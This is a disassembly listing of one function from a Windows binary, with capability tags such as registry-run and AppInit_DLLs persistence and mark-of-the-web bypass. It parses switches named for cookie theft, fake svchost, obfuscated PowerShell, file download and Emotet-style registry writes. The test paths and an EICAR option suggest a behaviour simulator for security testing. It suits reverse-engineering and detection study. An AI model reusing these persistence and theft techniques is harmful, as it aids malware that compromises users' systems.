Function at 0x402b10
Capabilities:
Accept command line arguments
Authenticate hmac
Bypass mark of the web
Check mutex on windows
Copy file
Create directory
Create process on windows
Create process suspended
Delete file
Delete registry key
Delete registry value
Enumerate files on windows
Enumerate processes
Extract resource via kernel32 functions
Gather firefox profile information
Get common file path
Move file
Persist via appinit_dlls registry key
Persist via run registry key
Run powershell expression
Set file attributes
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45e9a2
mov eax, dword fs:[0]
push eax
mov eax, 0x3384
call fcn.00436870
mov eax, dword [0x47a0b8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x3234], edi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x320c], eax
call fcn.004016d0
mov ecx, eax
test ecx, ecx
je 0x4074fb
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0x31f4], esi
mov dword [ebp - 0x3240], esi
push 0x18
push 1
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.DLL_FindResourceW]
or edi, 0xffffffff
mov dword [ebp - 0x3258], eax
test eax, eax
je 0x402dab
push eax
push dword [ebp - 0x3234]
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push dword [ebp - 0x3258]
mov dword [ebp - 0x3204], eax
push dword [ebp - 0x3234]
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov ecx, eax
mov eax, dword [ebp - 0x3204]
test eax, eax
je 0x402da4
test ecx, ecx
je 0x402da4
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov dword [ebp - 0x3258], eax
test eax, eax
je 0x402d9e
call fcn.004016d0
mov ecx, eax
test ecx, ecx
je 0x407505
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3218], eax
mov esi, dword [ebp - 0x3258]
lea ecx, [ebp - 0x3218]
push esi
mov byte [ebp - 4], 1
call fcn.0040c190
test al, al
jne 0x402c31
push esi
lea ecx, [ebp - 0x3218]
call fcn.0040c270
push str._assemblyIdentity_name_
lea ecx, [ebp - 0x3224]
mov byte [ebp - 4], 2
call fcn.0040aad0
mov byte [ebp - 4], 3
mov esi, dword [ebp - 0x3218]
cmp dword [esi - 0xc], 0
jl 0x402d56
push str._assemblyIdentity_name_
push esi
call fcn.00442640
mov ecx, eax
add esp, 8
test ecx, ecx
je 0x402d56
sub ecx, esi
mov dword [ebp - 0x3258], ecx
js 0x402d56
lfence
mov eax, dword [ebp - 0x3224]
mov eax, dword [eax - 0xc]
add eax, ecx
js 0x402cb1
cmp eax, dword [esi - 0xc]
jg 0x402cb1
add eax, esi
push 0x46e754
push eax
lfence
call fcn.00442640
mov ecx, eax
add esp, 8
test ecx, ecx
je 0x402cb1
sub ecx, esi
jmp 0x402cb4
or ecx, 0xffffffff
mov eax, dword [ebp - 0x3224]
mov eax, dword [eax - 0xc]
sub ecx, eax
sub ecx, dword [ebp - 0x3258]
add eax, dword [ebp - 0x3258]
push ecx
push eax
lea eax, [ebp - 0x32e4]
push eax
lea ecx, [ebp - 0x3218]
call fcn.0040b0b0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x321c]
push dword [eax]
call fcn.0040aad0
mov byte [ebp - 4], 6
mov eax, edi
mov edx, dword [ebp - 0x32e4]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x402d14
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x321c]
push eax
lea ecx, [ebp - 0x3240]
call fcn.0040aa40
mov byte [ebp - 4], 3
mov eax, edi
mov edx, dword [ebp - 0x321c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x402d4a
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x3240]
mov dword [ebp - 0x31f4], eax
mov byte [ebp - 4], 2
mov eax, edi
mov edx, dword [ebp - 0x3224]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x402d7a
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
add esi, 0xfffffff0
mov eax, edi
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x402d98
lfence
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x31f4]
mov eax, dword [ebp - 0x3204]
push eax
call dword [sym.imp.KERNEL32.DLL_FreeResource]
push 0x20a
lea eax, [ebp - 0x328]
push 0
push eax
call fcn.004378c0
add esp, 0xc
lea eax, [ebp - 0x328]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
push eax
lea ecx, [ebp - 0x31e4]
call fcn.0040ac50
lea eax, [ebp - 0x32b0]
mov byte [ebp - 4], 7
push eax
push dword [ebp - 0x31e4]
mov dword [ebp - 0x32b0], 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
call fcn.004016d0
mov ecx, eax
test ecx, ecx
je 0x40750f
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x322c], eax
mov byte [ebp - 4], 8
cmp dword [ebp - 0x32b0], 1
jg 0x402ec7
cmp dword [esi - 0xc], 0
je 0x402ec7
push 0x46e758
lea ecx, [ebp - 0x3288]
call fcn.0040ac50
lea ecx, [ebp - 0x3240]
mov byte [ebp - 4], 9
push ecx
mov edx, eax
lea ecx, [ebp - 0x328c]
call fcn.0040a2e0
add esp, 4
push eax
lea ecx, [ebp - 0x322c]
mov byte [ebp - 4], 0xa
call fcn.0040aa40
mov byte [ebp - 4], 9
mov eax, edi
mov edx, dword [ebp - 0x328c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x402ea1
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 8
mov eax, edi
mov edx, dword [ebp - 0x3288]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x402ed9
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x402ed9
lea eax, [ebp - 0x31e4]
push eax
lea ecx, [ebp - 0x322c]
call fcn.0040aa40
lea ecx, [ebp - 0x322c]
call fcn.0040a9e0
mov edi, dword [ebp - 0x322c]
mov dword [ebp - 0x3230], edi
cmp dword [edi - 0xc], 0
jge 0x402efb
or eax, 0xffffffff
jmp 0x402f16
push 0x46e75c
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x402f12
or eax, 0xffffffff
jmp 0x402f16
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3268], eax
jge 0x402f2e
mov eax, 0xffffffff
jmp 0x402f49
push str._usecmdandpowershell
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x402f45
or eax, 0xffffffff
jmp 0x402f49
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x32b4], eax
jge 0x402f61
mov eax, 0xffffffff
jmp 0x402f7c
push str._powershellobfuscation
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x402f78
or eax, 0xffffffff
jmp 0x402f7c
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x32d0], eax
jge 0x402f94
mov eax, 0xffffffff
jmp 0x402faf
push str._onlyregistryrun
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x402fab
or eax, 0xffffffff
jmp 0x402faf
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x32a8], eax
jge 0x402fc7
mov eax, 0xffffffff
jmp 0x402fe2
push str._emotetregistry
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x402fde
or eax, 0xffffffff
jmp 0x402fe2
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x32a0], eax
jge 0x402ffa
mov eax, 0xffffffff
jmp 0x403015
push str._complexcmd
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x403011
or eax, 0xffffffff
jmp 0x403015
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x32c0], eax
jge 0x40302d
mov eax, 0xffffffff
jmp 0x403048
push str._fastrestart
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x403044
or eax, 0xffffffff
jmp 0x403048
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
mov dword [ebp - 0x3278], eax
mov eax, dword [ebp - 0x31e4]
cmp dword [eax - 0xc], 0
jge 0x403064
or eax, 0xffffffff
jmp 0x403088
push str._ignorefastrestart
push dword [ebp - 0x31e4]
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x403080
or eax, 0xffffffff
jmp 0x403088
sub eax, dword [ebp - 0x31e4]
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x327c], eax
jge 0x4030a0
mov eax, 0xffffffff
jmp 0x4030bb
push str._hidenbuffercopy
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x4030b7
or eax, 0xffffffff
jmp 0x4030bb
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x32d4], eax
jl 0x4030e0
push str._addremediationactivity
push edi
call fcn.00436da6
add esp, 8
cmp dword [edi - 0xc], 0
jge 0x4030e5
or eax, 0xffffffff
jmp 0x403100
push str._appinit
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x4030fc
or eax, 0xffffffff
jmp 0x403100
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x32bc], eax
jge 0x403118
mov eax, 0xffffffff
jmp 0x403133
push str._startmenu
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x40312f
or eax, 0xffffffff
jmp 0x403133
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3298], eax
jge 0x40314b
mov eax, 0xffffffff
jmp 0x403166
push str._runservicex86
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x403162
or eax, 0xffffffff
jmp 0x403166
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3284], eax
jge 0x40317e
mov eax, 0xffffffff
jmp 0x403199
push str._runservice
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x403195
or eax, 0xffffffff
jmp 0x403199
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3200], eax
jge 0x4031b1
mov eax, 0xffffffff
jmp 0x4031cc
push str._fastrename
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x4031c8
or eax, 0xffffffff
jmp 0x4031cc
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x32d8], eax
jge 0x4031e4
mov eax, 0xffffffff
jmp 0x4031ff
push str._fakesvchost
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x4031fb
or eax, 0xffffffff
jmp 0x4031ff
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3260], eax
jge 0x403217
mov eax, 0xffffffff
jmp 0x403232
push str._fakeexedrop
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x40322e
or eax, 0xffffffff
jmp 0x403232
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x32ac], eax
jge 0x40324a
mov eax, 0xffffffff
jmp 0x403265
push str._startIe
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x403261
or eax, 0xffffffff
jmp 0x403265
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x32e0], eax
jge 0x40327d
mov eax, 0xffffffff
jmp 0x403298
push str._spawnprocess
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x403294
or eax, 0xffffffff
jmp 0x403298
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x329c], eax
jge 0x4032b0
mov eax, 0xffffffff
jmp 0x4032cb
push str._nullregs
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x4032c7
or eax, 0xffffffff
jmp 0x4032cb
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x32dc], eax
jge 0x4032e3
mov eax, 0xffffffff
jmp 0x4032fe
push str._exploreprocstart
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x4032fa
or eax, 0xffffffff
jmp 0x4032fe
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3220], eax
jge 0x403316
mov eax, 0xffffffff
jmp 0x403331
push str._selfcopycmdregstartup
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x40332d
or eax, 0xffffffff
jmp 0x403331
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x326c], eax
jge 0x403349
mov eax, 0xffffffff
jmp 0x403364
push str._downloadfile
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x403360
or eax, 0xffffffff
jmp 0x403364
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3238], eax
jge 0x40337c
mov eax, 0xffffffff
jmp 0x403397
push str._downloadapc
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x403393
or eax, 0xffffffff
jmp 0x403397
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x32c4], eax
jge 0x4033af
mov eax, 0xffffffff
jmp 0x4033ca
push str._downloadapcregsvr
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x4033c6
or eax, 0xffffffff
jmp 0x4033ca
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3234], eax
jge 0x4033e2
mov eax, 0xffffffff
jmp 0x4033fd
push str._pythonshell
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x4033f9
or eax, 0xffffffff
jmp 0x4033fd
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3274], eax
jge 0x403415
mov eax, 0xffffffff
jmp 0x403430
push str._pythonrun
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x40342c
or eax, 0xffffffff
jmp 0x403430
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x323c], eax
jge 0x403448
mov eax, 0xffffffff
jmp 0x403463
push str._eicar
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x40345f
or eax, 0xffffffff
jmp 0x403463
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x325c], eax
jge 0x40347b
mov eax, 0xffffffff
jmp 0x403496
push str._dropendleesfiles
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x403492
or eax, 0xffffffff
jmp 0x403496
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3208], eax
jge 0x4034ae
mov eax, 0xffffffff
jmp 0x4034c9
push str._runcommand
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x4034c5
or eax, 0xffffffff
jmp 0x4034c9
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3254], eax
jge 0x4034e1
mov eax, 0xffffffff
jmp 0x4034fc
push str._loaddll
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x4034f8
or eax, 0xffffffff
jmp 0x4034fc
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x32cc], eax
jge 0x403514
mov eax, 0xffffffff
jmp 0x40352f
push str._amsips
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x40352b
or eax, 0xffffffff
jmp 0x40352f
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x32b8], eax
jge 0x403547
mov eax, 0xffffffff
jmp 0x403562
push str._chainprocess
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x40355e
or eax, 0xffffffff
jmp 0x403562
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3280], eax
jge 0x40357a
mov eax, 0xffffffff
jmp 0x403595
push str._rundll
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x403591
or eax, 0xffffffff
jmp 0x403595
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x32a4], eax
jge 0x4035ad
mov eax, 0xffffffff
jmp 0x4035c8
push str._doubleextension
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x4035c4
or eax, 0xffffffff
jmp 0x4035c8
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3270], eax
jge 0x4035e0
mov eax, 0xffffffff
jmp 0x4035fb
push str._fakeextension
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x4035f7
or eax, 0xffffffff
jmp 0x4035fb
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3250], eax
jge 0x403613
mov eax, 0xffffffff
jmp 0x40362e
push str._autoit
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x40362a
or eax, 0xffffffff
jmp 0x40362e
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3290], eax
jge 0x403646
mov eax, 0xffffffff
jmp 0x403661
push str._namedobject
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x40365d
or eax, 0xffffffff
jmp 0x403661
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3210], eax
jge 0x403679
mov eax, 0xffffffff
jmp 0x403694
push str._stealcookies
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x403690
or eax, 0xffffffff
jmp 0x403694
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x31e8], eax
jge 0x4036ac
mov eax, 0xffffffff
jmp 0x4036c7
push str._createsuspended
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x4036c3
or eax, 0xffffffff
jmp 0x4036c7
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3294], eax
jge 0x4036df
mov eax, 0xffffffff
jmp 0x4036fa
push str._luatest
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x4036f6
or eax, 0xffffffff
jmp 0x4036fa
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x31ec], eax
jge 0x403712
mov eax, 0xffffffff
jmp 0x40372d
push str._memmapself
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x403729
or eax, 0xffffffff
jmp 0x40372d
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x3258], eax
jge 0x403745
mov eax, 0xffffffff
jmp 0x403760
push str._memallocself
push edi
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x40375c
or eax, 0xffffffff
jmp 0x403760
sub eax, edi
sar eax, 1
shr eax, 0x1f
xor al, 1
cmp dword [edi - 0xc], 0
mov dword [ebp - 0x32e8], eax
mov eax, dword [sym.imp.KERNEL32.DLL_Sleep]
mov dword [ebp - 0x324c], eax
jl 0x403834
push str._sleep
push edi
call fcn.00436da6
add esp, 8
test eax, eax
je 0x403834
sub eax, edi
sar eax, 1
js 0x403834
add eax, 6
lfence
mov dword [ebp - 0x31fc], eax
cmp eax, dword [edi - 0xc]
jg 0x4037cf
lea eax, [edi + eax*2]
push 0x46ec48
push eax
lfence
call fcn.00436da6
add esp, 8
test eax, eax
je 0x4037cf
sub eax, edi
sar eax, 1
jns 0x4037d2
mov eax, dword [edi - 0xc]
push eax
push dword [ebp - 0x31fc]
lea eax, [ebp - 0x3244]
push eax
lea ecx, [ebp - 0x322c]
call fcn.0040a570
push dword [eax]
call fcn.00440b8f
mov edx, dword [ebp - 0x3244]
add esp, 4
mov dword [ebp - 0x31fc], eax
add edx, 0xfffffff0
or ecx, 0xffffffff
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x403822
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x31fc]
cmp eax, 1
mov ecx, 0x7d0
cmovl eax, ecx
push eax
call dword [ebp - 0x324c]
cmp byte [ebp - 0x31ec], 0
je 0x403d79
mov eax, dword [ebp - 0x31e4]
cmp dword [eax - 0xc], 0
jge 0x403852
or eax, 0xffffffff
jmp 0x403876
push 0x46ec4c
push dword [ebp - 0x31e4]
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x40386e
or eax, 0xffffffff
jmp 0x403876
sub eax, dword [ebp - 0x31e4]
sar eax, 1
shr eax, 0x1f
xor al, 1
mov dword [ebp - 0x3210], eax
mov eax, dword [ebp - 0x31e4]
cmp dword [eax - 0xc], 0
jge 0x403892
or eax, 0xffffffff
jmp 0x4038b6
push str._modifyregistry
push dword [ebp - 0x31e4]
call fcn.00436da6
add esp, 8
test eax, eax
jne 0x4038ae
or eax, 0xffffffff
jmp 0x4038b6
sub eax, dword [ebp - 0x31e4]
sar eax, 1
mov esi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
shr eax, 0x1f
xor al, 1
mov dword [ebp - 0x31ec], esi
cmp byte [ebp - 0x3210], 0
mov dword [ebp - 0x3218], eax
je 0x403b67
push 0x250
lea eax, [ebp - 0x15a8]
push 0
push eax
call fcn.004378c0
add esp, 0xc
lea eax, [ebp - 0x15a8]
push eax
push str.c:_test.ex_
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov dword [ebp - 0x3234], eax
cmp eax, 0xffffffff
je 0x4039d9
mov eax, dword [sym.imp.KERNEL32.DLL_FindNextFileW]
or esi, 0xffffffff
mov edi, dword [ebp - 0x3234]
mov dword [ebp - 0x328c], eax
mov eax, dword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov dword [ebp - 0x3288], eax
push str.c:_test_
lea ecx, [ebp - 0x3244]
call fcn.0040ac50
lea ecx, [ebp - 0x157c]
mov byte [ebp - 4], 0xb
push ecx
mov edx, eax
lea ecx, [ebp - 0x321c]
call fcn.0040a140
mov byte [ebp - 4], 8
add esp, 4
mov edx, dword [ebp - 0x3244]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40397f
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push dword [ebp - 0x321c]
call dword [ebp - 0x3288]
mov edx, dword [ebp - 0x321c]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4039ab
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x15a8]
push eax
push edi
call dword [ebp - 0x328c]
test eax, eax
jne 0x403930
push dword [ebp - 0x3234]
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov edi, dword [ebp - 0x3230]
mov esi, dword [ebp - 0x31ec]
call fcn.004016d0
mov ecx, eax
test ecx, ecx
je 0x407519
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x321c], eax
mov byte [ebp - 4], 0xc
call esi
push eax
lea eax, [ebp - 0x321c]
push str.c:_test_d.ex_
push eax
call fcn.0040cdd0
mov esi, dword [ebp - 0x321c]
lea eax, [ebp - 0x328]
add esp, 0xc
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileW]
lea edx, [esi - 0x10]
mov byte [ebp - 4], 8
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x403a4a
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x3218]
test al, al
je 0x403c4c
push str.Software_test
lea ecx, [ebp - 0x3204]
call fcn.0040ac50
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x1c]
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x3204]
push eax
call fcn.00402930
mov ecx, dword [ebp - 0x18]
add esp, 4
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov dword [ebp - 0x328c], ecx
mov ecx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x321c], eax
mov dword [ebp - 0x31e8], ecx
je 0x403b56
mov ecx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
or edi, 0xffffffff
mov dword [ebp - 0x3244], ecx
mov ecx, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [ebp - 0x3288], ecx
mov ecx, dword [eax]
sub ecx, 0x10
call fcn.0040c960
lea esi, [eax + 0x10]
lea eax, [ebp - 0x3224]
push eax
push 2
push 0
push dword [ebp - 0x3204]
push 0x80000001
call dword [ebp - 0x3244]
cmp eax, 2
je 0x403b1f
test eax, eax
jne 0x403b1f
push esi
push dword [ebp - 0x3224]
call dword [ebp - 0x3288]
push dword [ebp - 0x3224]
call dword [ebp - 0x31e8]
add esi, 0xfffffff0
mov eax, edi
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x403b39
lfence
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x321c]
add eax, 4
mov dword [ebp - 0x321c], eax
cmp eax, dword [ebp - 0x328c]
jne 0x403ad4
mov edi, dword [ebp - 0x3230]
call fcn.004016d0
mov ecx, eax
test ecx, ecx
je 0x407523
jmp 0x403b6f
or esi, 0xffffffff
jmp 0x403a50
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x321c], eax
mov byte [ebp - 4], 0xf
call dword [ebp - 0x31ec]
push eax
lea eax, [ebp - 0x321c]
push 0x46ecf0
push eax
call fcn.0040cdd0
add esp, 0xc
mov dword [ebp - 0x320c], 0
lea eax, [ebp - 0x320c]
push 0
push eax
push 0
push 2
push 0
push 0
push 0
push str.Software_test
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, dword [ebp - 0x321c]
test eax, eax
jne 0x403bf9
mov eax, dword [esi - 0xc]
add eax, eax
push eax
push esi
push 1
push 0
push esi
push dword [ebp - 0x320c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x320c]
call dword [ebp - 0x31e8]
lea edx, [esi - 0x10]
mov byte [ebp - 4], 0xe
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x403c1a
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x1c]
call fcn.00409d20
mov byte [ebp - 4], 8
mov eax, esi
mov edx, dword [ebp - 0x3204]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x403c46
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x3218]
cmp byte [ebp - 0x3210], 0
jne 0x406e1d
test al, al
jne 0x406e1d
lea eax, [ebp - 0x20]
mov dword [ebp - 0xb0], 0x44
push eax
lea eax, [ebp - 0xb0]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push str.__modifyfile
lea eax, [ebp - 0x328]
movlpd qword [ebp - 0xac], xmm0
push eax
movlpd qword [ebp - 0xa4], xmm0
movlpd qword [ebp - 0x9c], xmm0
